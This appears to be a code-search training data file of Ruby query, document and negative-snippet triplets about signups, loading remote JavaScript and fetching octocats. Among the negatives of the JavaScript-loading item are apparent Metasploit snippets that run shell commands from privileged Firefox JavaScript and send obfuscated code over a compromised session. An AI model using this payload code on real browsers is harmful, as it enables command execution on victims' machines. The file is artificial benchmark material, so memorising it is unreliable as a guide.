signup(email, password, timezone, created_with=\"Toggl Api Ruby Gem #{Toggl::VERSION}\")\n post \"/signups\",{\"user\" => {\"email\" => email,\"password\" => \"password\",\"timezone\" => timezone,\"created_with\" => created_with}}\n end", "def index\n @sign_up_ones = SignUpOne.all\n end", "def create\n @signup = Signup.new(params[:signup])\n \n respond_to do |format|\n if @signup.save\n format.html { redirect_to(root_url, :notice => 'Signup was successfully created.') }\n format.xml { render :xml => @signup, :status => :created, :location => @signup }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @signup.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @osignup = Osignup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @osignup }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
so I can have require_remote 'require' a javascript filename over the internet, asynchronously, so you'll have to delay before using. Should be fine if typed by hand but if scripted add delay
def require_js(*urls, &block) # used to use this, but don't want to depend on opal-jquery # Element.find("head").append("<script src='#{js_filename}' type='text/javascript'></script>") promises = [] opts = urls.last.is_a?(Hash) ? urls.pop : {} clear_promises = lambda do promises.each do |promise| promise.resolve(false) unless promise.resolved? end end `setTimeout(#{clear_promises}, #{opts[:timeout]} * 1000)` if opts[:timeout] urls.each do |url| promise = Promise.new promises << promise loaded = lambda do promise.resolve(true) end %x| var script = document.createElement( 'script' ); script.type = 'text/javascript'; script.src = url; script.onload = #{loaded}; document.body.appendChild(script); | end Promise.new.tap do |promise| Promise.when(*promises).then do |results| block.call results if block promise.resolve results end end end
[ "def script_load(script); end", "def load_asynchronously(element, url)\n javascript = \"jQuery.get('#{url}', function(data) { jQuery('#{element}').html(data) })\"\n end", "def javascript_include_async_notification_server\n html = <<HTML\n<script type='text/javascript' id='__notification_server'></script>\n<script type=\"text/javascript\">\n(function() {\n if (typeof(jQuery) != 'undefined') {\n setTimeout(function() {\n jQuery('head').append(jQuery('<script />', {\n type: \"text/javascript\",\n src: \"#{NotificationServer::Configuration.script_path}\"\n }));\n } , 1000);\n } else {\n document.getElementById('__notification_server').src = \"#{NotificationServer::Configuration.script_path}\";\n }\n})();\n</script>\nHTML\n _safe html\n end", "def r_require path\n remote_object.require path\n end", "def load_script(path)\n eval(load_data(path))\nend", "def javascript_module_preload_tag(*paths)\n safe_join(Array(paths).collect { |path|\n tag.link rel: \"modulepreload\", href: path, nonce: request&.content_security_policy_nonce\n }, \"\\n\")\n end", "def require_relative( rel_path, script_path )\n require File.expand_path(File.dirname(script_path)).gsub(/[\\\\\\/]+$/, '') + \"/\" + rel_path\n end", "def run_cmd_source\n %Q|\n #{read_file_source}\n #{set_timeout_source}\n\n var ua = Components.classes[\"@mozilla.org/network/protocol;1?name=http\"]\n .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;\n var windows = (ua.indexOf(\"Windows\")>-1);\n var svcs = Components.utils.import(\"resource://gre/modules/Services.jsm\");\n var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;\n var runCmd = function(cmd, cb) {\n cb = cb \\|\\| (function(){});\n\n if (cmd.trim().length == 0) {\n setTimeout(function(){ cb(\"Command is empty string ('').\"); });\n return;\n }\n\n var js = (/^\\\\s*\\\\[JAVASCRIPT\\\\]([\\\\s\\\\S]*)\\\\[\\\\/JAVASCRIPT\\\\]/g).exec(cmd.trim());\n if (js) {\n var tag = \"[!JAVASCRIPT]\";\n var sync = true; /* avoid zalgo's reach */\n var sent = false;\n var retVal = null;\n\n try {\n this.send = function(r){\n if (sent) return;\n sent = true;\n if (r) {\n if (sync) setTimeout(function(){ cb(false, r+tag+\"\\\\n\"); });\n else cb(false, r+tag+\"\\\\n\");\n }\n };\n retVal = Function(js[1]).call(this);\n } catch (e) { retVal = e.message; }\n\n sync = false;\n\n if (retVal && !sent) {\n sent = true;\n setTimeout(function(){ cb(false, retVal+tag+\"\\\\n\"); });\n }\n\n return;\n }\n\n var shEsc = \"\\\\\\\\$&\";\n var shPath = \"/bin/sh -c\";\n\n if (windows) {\n shPath = \"cmd /c\";\n shEsc = \"\\\\^$&\";\n var jscriptFile = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n .getService(Components.interfaces.nsIProperties)\n .get(\"TmpD\", Components.interfaces.nsIFile);\n jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js');\n var stream = Components.classes[\"@mozilla.org/network/safe-file-output-stream;1\"]\n .createInstance(Components.interfaces.nsIFileOutputStream);\n stream.init(jscriptFile, 0x04 \\| 0x08 \\| 0x20, 0666, 0);\n stream.write(jscript, jscript.length);\n if (stream instanceof Components.interfaces.nsISafeOutputStream) {\n stream.finish();\n } else {\n stream.close();\n }\n }\n\n var stdoutFile = \"#{Rex::Text.rand_text_alphanumeric(8+rand(12))}\";\n\n var stdout = Components.classes[\"@mozilla.org/file/directory_service;1\"]\n .getService(Components.interfaces.nsIProperties)\n .get(\"TmpD\", Components.interfaces.nsIFile);\n stdout.append(stdoutFile);\n\n var shell;\n cmd = cmd.trim();\n if (windows) {\n shell = shPath+\" \"+cmd;\n shell = shPath+\" \"+shell.replace(/\\\\W/g, shEsc)+\" >\"+stdout.path+\" 2>&1\";\n var b64 = svcs.btoa(shell);\n } else {\n shell = shPath+\" \"+cmd.replace(/\\\\W/g, shEsc);\n shell = shPath+\" \"+shell.replace(/\\\\W/g, shEsc) + \" >\"+stdout.path+\" 2>&1\";\n }\n\n var process = Components.classes[\"@mozilla.org/process/util;1\"]\n .createInstance(Components.interfaces.nsIProcess);\n var sh = Components.classes[\"@mozilla.org/file/local;1\"]\n .createInstance(Components.interfaces.nsILocalFile);\n\n if (windows) {\n sh.initWithPath(\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wscript.exe\");\n process.init(sh);\n var args = [jscriptFile.path, b64];\n process.run(true, args, args.length);\n jscriptFile.remove(true);\n setTimeout(function(){cb(false, cmd+\"\\\\n\"+readFile(stdout.path));});\n } else {\n sh.initWithPath(\"/bin/sh\");\n process.init(sh);\n var args = [\"-c\", shell];\n process.run(true, args, args.length);\n setTimeout(function(){cb(false, readFile(stdout.path));});\n }\n };\n |\n end", "def script_tag( filename, options = {} )\n\n # blah\n filename = filename.to_s\n\n # add the extension, if not already present\n filename += '.js' unless filename.end_with?( '.js' )\n\n # set defer + async\n options[:src] = asset_url_for( filename )\n options[:defer] = :defer unless options.key?( :defer )\n options[:async] = :async unless options.key?( :async )\n\n # return\n ( tag( :script, options, true ).gsub( /(?<attr>[a-z]+)=\\\"\\k<attr>\\\"/, '\\k<attr>' ) + '</script>' ).html_safe\n\n end", "def library\n @script = params[:script]\n @scripts = @script.split('_')\n cache_headers( DC::Config[:library_ttl].to_i )\n respond_with_etag( [@script, DC::Config[:library_fresh]] ) do\n respond_to do |format|\n format.js { render :template => \"pipe/scriptz/app/load_libs\" }\n end\n end\n end", "def js_load(file)\n filename=file\n if !filename.include?('.js')\n filename+='.js'\n end\n# js_erb=File.open(File.join(RAILS_ROOT,'app','views',controller_name,filename)).read.gsub(\"'<%\",\"<%\").gsub(\"%>'\",\"%>\")\n js_erb=File.open(File.join(RAILS_ROOT,'app','views',params[:controller],filename)).read.gsub(\"'<%\",\"<%\").gsub(\"%>'\",\"%>\")\n# Rwt.js(render_to_string(:inline=>js_erb))\n Rwt << render_to_string(:inline=>js_erb)\n end", "def execute(name)\n load \"#{Dir.pwd}/scripts/#{name}.rb\"\nend", "def inject_remote_delay!\n gets_data(\"\")\n end", "def runInitScript \n \"runInitScript\" \n end", "def js_exec(js, timeout=30)\n print_status \"Running the privileged javascript...\"\n token = \"[[#{Rex::Text.rand_text_alpha(8)}]]\"\n js = js_obfuscate(js)\n session.shell_write(\"#{token}[JAVASCRIPT]#{js}[/JAVASCRIPT]#{token}\")\n session.shell_read_until_token(\"[!JAVASCRIPT]\", 0, timeout)\n end", "def require(require_path)\r\n result = false\r\n Thread.new do\r\n path = require_path.sub(/\\.rb$/, \"\")\r\n if ['popup'].include?(path) and !TryRuby::Current_includes.include?(path)\r\n TryRuby::Current_includes << path\r\n result = true\r\n end\r\n end.join\r\n result\r\nend", "def remote_function(options)\n # assigning the url address\n url = options[:url]\n url = url.merge(:escape => false) if url.is_a?(Hash)\n options[:url] = escape_javascript(url_for(url))\n\n cmd = RightRails::Helpers.build_xhr_request(options)\n\n cmd = \"#{options[:before]};#{cmd}\" if options[:before]\n cmd << \";#{options[:after]}\" if options[:after]\n\n cmd = \"if(#{options[:condition]}){#{cmd}}\" if options[:condition]\n cmd = \"if(confirm('#{escape_javascript(options[:confirm])}')){#{cmd}}\" if options[:confirm]\n\n cmd\n end", "def play_script(script_name, args={}, &cb)\n msg = Protocol::Message.generate(:play_script, [script_name,args])\n if block_given?\n job = Protocol::Parser.new(REQUEST_TIMEOUT)\n job.callback { |result|\n cb.call(result) if block_given?\n }\n job.errback { |result|\n cb.call(nil) if block_given?\n }\n @jobs << job\n send_data(msg)\n end\n end", "def require( library_name )\n\tbegin\n\t\tMockFS.mock = false\n\t\tsuper\n\t\tMockFS.mock = true\n\trescue LoadError => err\n\t\tMockFS.mock = true\n\t\tfile = library_name\n\t\tfile += '.rb' unless library_name =~ /\\.rb$/\n\t\tif File.exist? file\n\t\t\tcontents = File.open( file ) do |f| f.gets( nil ); end\n\t\t\teval contents\n\t\telse\n\t\t\traise\n\t\tend\n\tend\nend" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Fetches the complete octodex
def completeOctodex cURL($baseURL) end
[ "def oct2_hex()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Oct2Hex::Oct2HexRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def get_xml\n @xml ||= Nokogiri::XML(\n open(\"#{PLOS_INFO_URL}?uri=info:doi/#{CGI::escape(@doi)}&representation=XML\")\n )\n end", "def hex2_oct()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Hex2Oct::Hex2OctRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def download_iso\n IsoRepo.get(iso_url)\n end", "def obj_ra\n command(\"#:Gr#\")\n return read_LX200\n end", "def index\n @octs = Oct.all\n end", "def oct2_dec()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Oct2Dec::Oct2DecRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def show\n @odc_r = OdcR.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @odc_r }\n end\n end", "def dec2_oct()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Dec2Oct::Dec2OctRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def fetch_coordinates!\n fetch_coordinates(true)\n end", "def bin2_oct()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Bin2Oct::Bin2OctRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def ra\n command(\"#:GR#\")\n return read_LX200\n end", "def octs(_start = nil, _num_octaves = nil)\n #This is a stub, used for indexing\nend", "def x\n @x ||= Vedeu::Geometry::GenericCoordinate.new(name: name,\n offset: ox,\n type: :x)\n end", "def oct() end", "def test_get_xrd\n doc = Yadis.parseXRDS(read_data_file(XRD_FILE))\n result = Yadis::get_yadis_xrd(doc)\n assert_not_nil result\n assert_equal 'XRD', result.name\n assert_equal Yadis::XRD_NS_2_0, result.namespace\n end", "def compute(ox, oy, dx, dy)\n TCOD.path_compute(@ptr, ox, oy, dx, dy)\n end", "def fetch( oid )\n\t\treturn self.retrieve( oid )\n\tend", "def show\n @historial_oct = HistorialOct.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @historial_oct }\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Fetches a random octocat
def randomOctocat cURL($baseURL+"?random") end
[ "def random(response)\n db = init_db\n row = db[\"\n select id, data->'img' as img, data->'title' as title, data->'alt' as alt\n from comics\n order by RANDOM()\n limit 1\"\n ][:data]\n comic = Comic.new(row[:id], row[:img], row[:title], row[:alt])\n reply_with_comic response, comic\n end", "def random\n Client.get(\"/patterns/random\")\n end", "def random(get_comments = true)\n path = \"/view/random\"\n retrieve_story(path,get_comments)\n end", "def random_pokemon\n HTTParty.get(\"http://pokeapi.co/api/v2/pokemon/?offset=#{random_offset}&limit=1\").parsed_response['results'].first\n end", "def random\n if (c = count) != 0\n find(:first, :offset => rand(c))\n end\n end", "def actionAI\n rand(3)\n end", "def random\n RandomJam.jam(@api_key, @https)\n end", "def random_open_shot_co_ordinate\n x, y = nil\n not_found = true\n\n while not_found\n x = rand(self.size)\n y = rand(self.size)\n\n if is_safe_shot_co_ordinate(x, y)\n not_found = false\n end\n end\n\n CoOrdinate.new(:x => x, :y => y)\n end", "def random_recipe\n JSON.parse(Typhoeus::Request.get(\n api_url('random_recipe'),\n :headers => {'User-Agent' => Punchr::USER_AGENT_HEADER},\n :params => {:key => Punchr.api_key}\n ).body)\n end", "def random20\n rand(20) + 1\n end", "def chooseDoor\n\t\treturn Random.new.rand(0..3)\n\tend", "def go_to_random_contractor\n contractor = @my_array.sample\n @driver.get contractor[:url]\n contractor\n end", "def random_open_ship_co_ordinate\n x, y = nil\n not_found = true\n\n while not_found\n x = rand(self.size)\n y = rand(self.size)\n\n if is_safe_ship_co_ordinate(x, y)\n not_found = false\n end\n end\n\n CoOrdinate.new(:x => x, :y => y)\n end", "def cisco_rand\n rand(1 << 24)\n end", "def getRandomNode() r = rand(@nodes.size); getNode(r); end", "def get_razor()\n file = File.read('/Users/devlon.d/src/obsidian_utils-master/razors.json')\n razors = JSON.parse(file)\n\n random_razor = razors[\"razors\"].sample\n\n razor_content = random_razor[\"title\"]\n razor_content.concat(\"\\n\")\n\n random_razor[\"lines\"].each do |content|\n razor_content.concat(content[\"line\"])\n razor_content.concat(\"\\n\")\n end\n\n return razor_content\nend", "def random_number\n rand(10)\n end", "def random(state = true)\n send_request('random %s' % state.to_i)\n end", "def random(offset, limit)\r\n self.class.get(\"/designs\", query: { offset: offset, limit: limit }).parsed_response\r\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
Fetches an octocat by its number
def numberedOctocat (number) cURL($baseURL+"?number=#{number}") end
[ "def read_octal_char(c)\n r = c.ord - '0'.ord\n if !nextoct?\n return r\n end\n\n r = (r << 3) | (readc.ord - '0'.ord)\n if !nextoct?\n return r\n end\n\n (r << 3) | (readc.ord - '0'.ord)\n end", "def next_octal\n c = self.next\n return nil if c.nil?\n return c if octal?(c)\n nil\n end", "def oct\n negative = 1\n val = 0\n\n s = self\n\n if s[0] == ?- then\n negative = -1\n s = s.sub(/^-/, '')\n end\n\n s = s.sub(/^0/, '')\n\n s.each_byte do |char|\n val *= 010\n\n val += case char\n when ?0..?7 then\n char - ?0\n else\n val /= 010\n break\n end\n end\n\n return val * negative \n end", "def oct() end", "def octs(_start = nil, _num_octaves = nil)\n #This is a stub, used for indexing\nend", "def intGetOctagonalInt i\n i * ( 3 * i - 2 )\nend", "def octicon(name)\n %(<span class=\"octicon octicon-#{name}\"></span>)\n end", "def octal_convertor(num)\n \n num_return=[]\n\n while num>= 8\n num_return.unshift(num%8)\n num=num/8 \n end\n\n num_return.unshift(num)\n\n return num_return.join('').to_i\nend", "def octal_integer_literal\n code = @codes[@pos]\n if code.nil?\n return nil\n elsif code == 0x30 and (code1 = @codes[@pos + 1]) >= 0x30 and code1 <= 0x37\n @pos += 1\n pos0 = @pos\n while code = @codes[@pos] and code >= 0x30 and code <= 0x37\n @pos += 1\n end\n if identifier_start?(code)\n raise ParseError.new(\"The source character immediately following a NumericLiteral must not be an IdentifierStart or DecimalDigit\", self)\n else\n return ECMA262::ECMA262Numeric.new(@codes[pos0...@pos].pack(\"U*\").to_i(8))\n end\n else\n nil\n end\n end", "def randomOctocat\n\t\tcURL($baseURL+\"?random\")\n\tend", "def cardinal(number)\n lookup_cardinal[number]\n end", "def index\n @octs = Oct.all\n end", "def obj_ra\n command(\"#:Gr#\")\n return read_LX200\n end", "def oct(a)\n\tb = []\n\ta.each do |x|\n\t\tif x % 8 == 0\n\t b << x\n\t\tend\n\tend\nreturn b.inspect\t\nend", "def octal?(c)\n return false if c.nil?\n c =~ /[0-7]/\n end", "def get_issue(num)\n @issues = Octokit.issues \"LingduoKong/final\",:state => \"open\"\n @issues.each do |issue|\n if issue.number == num\n @issue = issue\n return @issue\n end\n end\nend", "def get_char at\n index = range_correct_index(at)\n return internal_object_get(index + 1)\n end", "def do_digit(chr, base)\n # max roman number is 3000\n # 1 = base 1 char, 10 = base 2 chars, 100 = base 3 chars, 1000 = base 4 chars\n romans = { 1 => 'I', 5 => 'V', 10 => 'X', 50 => 'L', 100 => 'C', 500 => 'D', 1000 => 'M' }\n\n result = ''\n num = chr.to_i\n case num\n when (1..3)\n 1.upto(num) { result << romans[base] }\n when 4\n result << 'IV' if base == 1\n result << 'XL' if base == 10\n result << 'CD' if base == 100\n when 5\n result << 'V' if base == 1\n result << 'L' if base == 10\n result << 'D' if base == 100\n when (6..8)\n result << 'VI' if base == 1\n result << 'LX' if base == 10\n result << 'DC' if base == 100\n # add extra C, X or I\n 1.upto(num - 6) { result << romans[base] }\n when 9\n result << 'IX' if base == 1\n result << 'XC' if base == 10\n result << 'CM' if base == 100\n else\n # zero will go here, don't need to do anything about it\n end\n result\n end", "def get_atom(num)\n if not num.between?(1,@numatoms)\n raise RuntimeError, \"atoms with number #{num} not found!\"\n end\n return @atoms[num-1]\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
POST /rests POST /rests.json
def create @rest = Rest.new(rest_params) @rest.owners << current_owner respond_to do |format| if @rest.save format.html { redirect_to @rest, notice: 'Rest was successfully created.' } format.json { render :show, status: :created, location: @rest } else format.html { render :new } format.json { render json: @rest.errors, status: :unprocessable_entity } end end end
[ "def index\n @rests = Rest.all\n end", "def add_weather_by_rest(auth,weather_json)\n rest_agent=RestClient::Resource.new(\"http://#{auth[:host]}:#{auth[:port]}/#{auth[:reststr]}/ry/weather\")\n rest_agent.post(weather_json, :content_type=>\"application/json;charset=utf-8\")\n end", "def create\n @resto = Resto.new(resto_params)\n\n respond_to do |format|\n if @resto.save\n format.html { redirect_to @resto, notice: 'Entry was successfully created.' }\n format.json { render :show, status: :created, location: @resto }\n else\n format.html { render :new }\n format.json { render json: @resto.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_weather_by_rest(auth,weather_json)\n rest_agent=RestClient::Resource.new(\"http://#{auth[:host]}:#{auth[:port]}/#{auth[:reststr]}/ry/weather\")\n rest_agent.post(weather_json, :content_type=>\"application/json;charset=utf-8\")\n end", "def create_rest action, model, options = {}, &block\n options.reverse_merge! default_options\n parent = options[:parent] || default_rest_class\n create_rest_all(model, options = {}, &block) and return if action.to_sym == :all\n if rest_actions.include? action.to_sym \n send \"create_rest_#{action}\", model, options, &block\n else\n raise ArgumentError, \"Not a supported REST action. Must be one of #{rest_actions}, was #{action}\"\n end\n end", "def r(*args)\n @contents << Rest.new(*args)\n end", "def create\n @resturaunt = Resturaunt.new(resturaunt_params)\n\n respond_to do |format|\n if @resturaunt.save\n format.html { redirect_to @resturaunt, notice: 'Resturaunt was successfully created.' }\n format.json { render :show, status: :created, location: @resturaunt }\n else\n format.html { render :new }\n format.json { render json: @resturaunt.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @resturant = Resturant.new(params[:resturant])\n if @resturant.save\n self.headers.merge!('Content-Type' => 'application/json' )\n self.response_body = @resturant.to_json\n else\n self.headers.merge!('Content-Type' => 'application/json' )\n self.response_body = @resturant.errors.to_json\n end\n end", "def create\n @restauraunt = Restauraunt.new(restauraunt_params)\n\n respond_to do |format|\n if @restauraunt.save\n format.html { redirect_to @restauraunt, notice: 'Restauraunt was successfully created.' }\n format.json { render :show, status: :created, location: @restauraunt }\n else\n format.html { render :new }\n format.json { render json: @restauraunt.errors, status: :unprocessable_entity }\n end\n end\n end", "def rest_routes\n\t\t\t\t\t[\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :index },\n\t\t\t\t\t\t{ method: :POST, path: '/', action: :create },\n\t\t\t\t\t\t{ method: :GET, path: '/', action: :show },\n\t\t\t\t\t\t{ method: :PUT, path: '/', action: :update },\n\t\t\t\t\t\t{ method: :DELETE, path: '/', action: :delete }\n\t\t\t\t\t]\n\t\t\t\tend", "def create\n\n request = RestClient.post File.join(API_SERVER,\"rest-api/departments\"), { \n 'name' => params['department']['name'], \n 'description' => params['department']['description'] }.to_json, :content_type => :json, :accept => :json\n redirect_to :action => :index\n end", "def post(*a) route 'POST', *a end", "def post_rest_api(endpoint, data, http)\n rest_api_endpoint = \"/classifier-api/v1/#{endpoint}\"\n\n # Create an HTTP POST request against the specified REST API endpoint\n request = Net::HTTP::Post.new(rest_api_endpoint)\n # Set the Content-Type and data of the HTTP POST request\n request.content_type = \"application/json\"\n request.body = data\n # Submit the request\n response = http.request(request)\n # Return the response bosy (JSON containing the result of the POST operation)\n response.body\nend", "def post_spoonacular\n # %encode ingredients to url\n encoded_ingr = URI.escape(@translated_recipe[:ingredients_list])\n # post call block :\n url = URI(\"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com/recipes/parseIngredients?includeNutrition=true\")\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n request = Net::HTTP::Post.new(url)\n request[\"content-type\"] = \"application/x-www-form-urlencoded\"\n request[\"x-rapidapi-key\"] = ENV[\"X_RAPIDAPI_KEY\"]\n request[\"x-rapidapi-host\"] = \"spoonacular-recipe-food-nutrition-v1.p.rapidapi.com\"\n # body of the call with ingredients and servings\n request.body = \"ingredientList=#{encoded_ingr}&#{@recipe_hash[:servings]}\"\n # response\n response = http.request(request)\n end", "def json_api_many(name, only: %w[index show create update destroy], except: [], set_relationship: false)\n resources name, only: only - except\n return unless set_relationship\n\n namespace :relationships do\n post name, to: \"#{name}#create\"\n put name, to: \"#{name}#update\"\n patch name, to: \"#{name}#update\"\n delete name, to: \"#{name}#destroy\"\n end\nend", "def rest(method, uri)\n log_level = @options['log_level'] == :warn ? :error : @options['log_level'].to_sym # Default to :error\n client_setup('log_level' => log_level)\n uri_copy = uri.dup\n uri_copy.prepend('/') unless uri_copy.start_with?('/')\n if @options['data']\n begin\n data = { body: JSON.parse(@options['data']) }\n rescue JSON::ParserError => e\n fail_nice(\"Failed to parse data as JSON\\n#{e.message}\")\n end\n end\n data ||= {}\n response = @client.rest_api(method, uri_copy, data)\n if response.code.to_i.between?(200, 299)\n case @options['format']\n when 'yaml'\n puts JSON.parse(response.body).to_yaml\n when 'json'\n puts JSON.pretty_generate(JSON.parse(response.body))\n else # raw\n puts response.body\n end\n else\n body = JSON.pretty_generate(JSON.parse(response.body)) rescue response.body\n fail_nice(\"Request failed: #{response.inspect}\\nHeaders: #{response.to_hash}\\nBody: #{body}\")\n end\n rescue OneviewSDK::InvalidRequest => e\n fail_nice(e.message)\n end", "def rest_create(path, options={}, &blk)\n # Create\n post path do\n @object = yield\n rest_params.each { |k, v| @object.send :\"#{k}=\", v }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object.to_hash\n end\n end", "def save\n # post to API\n url = 'https://petapi-1.herokuapp.com/addPet'\n response = RestClient.post( url, { name: params[:name], type: params[:type], breed: params[:breed], location: params[:location], latitude: params[:latitude], longitude: params[:longitude] })\n\n # if we get an ok response, redirect to main list page\n if response.code <= 200\n # redirect to main page\n redirect_to '/'\n end\n end", "def resting(args = {})\n args[:work_type] = REST_TYPE\n workpattern(args)\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
PATCH/PUT /rests/1 PATCH/PUT /rests/1.json
def update respond_to do |format| if @rest.update(rest_params) format.html { redirect_to @rest, notice: 'Rest was successfully updated.' } format.json { render :show, status: :ok, location: @rest } else format.html { render :edit } format.json { render json: @rest.errors, status: :unprocessable_entity } end end end
[ "def patch *args\n make_request :patch, *args\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def partial_update(klass, id, patchset, options = {}, format = nil)\n headers = {}\n headers[:accept] = \"#{format}\" if format\n format ||= @default_format\n options = { resource: klass, id: id, format: format}.merge options\n if [FHIR::Formats::ResourceFormat::RESOURCE_XML, FHIR::Formats::ResourceFormat::RESOURCE_XML_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_XML\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_XML}\"\n elsif [FHIR::Formats::ResourceFormat::RESOURCE_JSON, FHIR::Formats::ResourceFormat::RESOURCE_JSON_DSTU2].include?(format)\n options[:format] = FHIR::Formats::PatchFormat::PATCH_JSON\n headers[:content_type] = \"#{FHIR::Formats::PatchFormat::PATCH_JSON}\"\n end\n headers[:prefer] = @return_preference if @use_return_preference\n reply = patch resource_url(options), patchset, fhir_headers(headers)\n reply.resource = parse_reply(klass, format, reply)\n reply.resource_class = klass\n reply\n end", "def patch(data, options={})\n raise NotImplementedError, \"We only patchs to singular resources.\" if count > 1\n first.patch(data, options)\n end", "def patch?; request_method == \"PATCH\" end", "def favorite\n url = Addressable::URI.new(\n scheme: 'http',\n host: 'localhost',\n port: 3000,\n path: '/contacts/2/favorite'\n ).to_s\n\n puts RestClient.patch(\n url,{}\n )\nend", "def put(*a) route 'PUT', *a end", "def rest_resource(path, options={}, &blk)\n rest_get path, options, &blk\n rest_edit path, options, &blk\n rest_delete path, options, &blk\n end", "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end", "def update\n @rest_test = RestTest.find(params[:id])\n\n respond_to do |format|\n if @rest_test.update_attributes(params[:rest_test])\n format.html { redirect_to(@rest_test, :notice => 'RestTest was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @rest_test.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_rest\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = 'Item was successfully updated.'\n format.html { redirect_to(@item) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n uri = \"#{API_BASE_URL}/products/#{params[:id]}\"\n payload = params.to_json\n rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n begin\n rest_resource.put payload , :content_type => \"application/json\"\n flash[:notice] = \"Product Updated successfully\"\n rescue Exception => e\n flash[:error] = \"Product Failed to Update\"\n end\n redirect_to users_path\n\n end", "def put\n request_method('PUT')\n end", "def update\n @resturant = Resturant.find(params[:id])\n\n if @resturant.update_attributes(params[:resturant])\n self.headers.merge!('Content-Type' => 'application/json' )\n self.response_body = @resturant.to_json\n else\n self.headers.merge!('Content-Type' => 'application/json' )\n self.response_body = @resturant.errors.to_json\n end\n end", "def json_api_one(name, only: %w[show update destroy], except: [], set_relationship: false)\n resource name, only: only - except\n return unless set_relationship\n\n namespace :relationships do\n resource name, only: %w[update]\n end\nend", "def patch?\n method == :put || method == :patch\n end", "def update\n request = RestClient.put File.join(API_SERVER,\"rest-api/departments\"), { \n 'id' => params['id'], \n 'name' => params['department']['name'], \n 'description' => params['department']['description'] }.to_json, :content_type => :json, :accept => :json\n\n redirect_to :action => :index\n end", "def update\n respond_to do |format|\n if @rest_list.update(rest_list_params)\n format.html { redirect_to @rest_list, notice: 'Rest list was successfully updated.' }\n format.json { render :show, status: :ok, location: @rest_list }\n else\n format.html { render :edit }\n format.json { render json: @rest_list.errors, status: :unprocessable_entity }\n end\n end\n end" ]
{ "objective": { "paired": [], "self": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
DELETE /rests/1 DELETE /rests/1.json
def destroy @rest.destroy respond_to do |format| format.html { redirect_to rests_url, notice: 'Rest was successfully destroyed.' } format.json { head :no_content } end end
[ "def destroy\n @rest_api.destroy\n respond_to do |format|\n format.html { redirect_to rest_apis_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @resturant = Resturant.find(params[:id])\n @resturant.destroy\n self.headers.merge!('Content-Type' => 'application/json' )\n self.response_body = {status: \"Deleted\"}\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def destroy\n @rest_test = RestTest.find(params[:id])\n @rest_test.destroy\n\n respond_to do |format|\n format.html { redirect_to(rest_tests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @restuarant = Restuarant.find(params[:id])\n @restuarant.destroy\n\n respond_to do |format|\n format.html { redirect_to restuarants_url }\n format.json { head :no_content }\n end\n end", "def destroy_rest\n @v1_item_usage = V1ItemUsage.find(params[:id])\n @v1_item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_item_usages_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n request = RestClient.delete File.join(API_SERVER,\"rest-api/departments\",params['id'])\n redirect_to :action => :index\t\n end", "def destroy\n @rest_list.destroy\n respond_to do |format|\n format.html { redirect_to rest_lists_url, notice: 'Rest list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n RestClient.delete \"#{@uri}/api/requests/request/#{@data['requestId']||@data['id']}\"\n puts ' Deleted request: 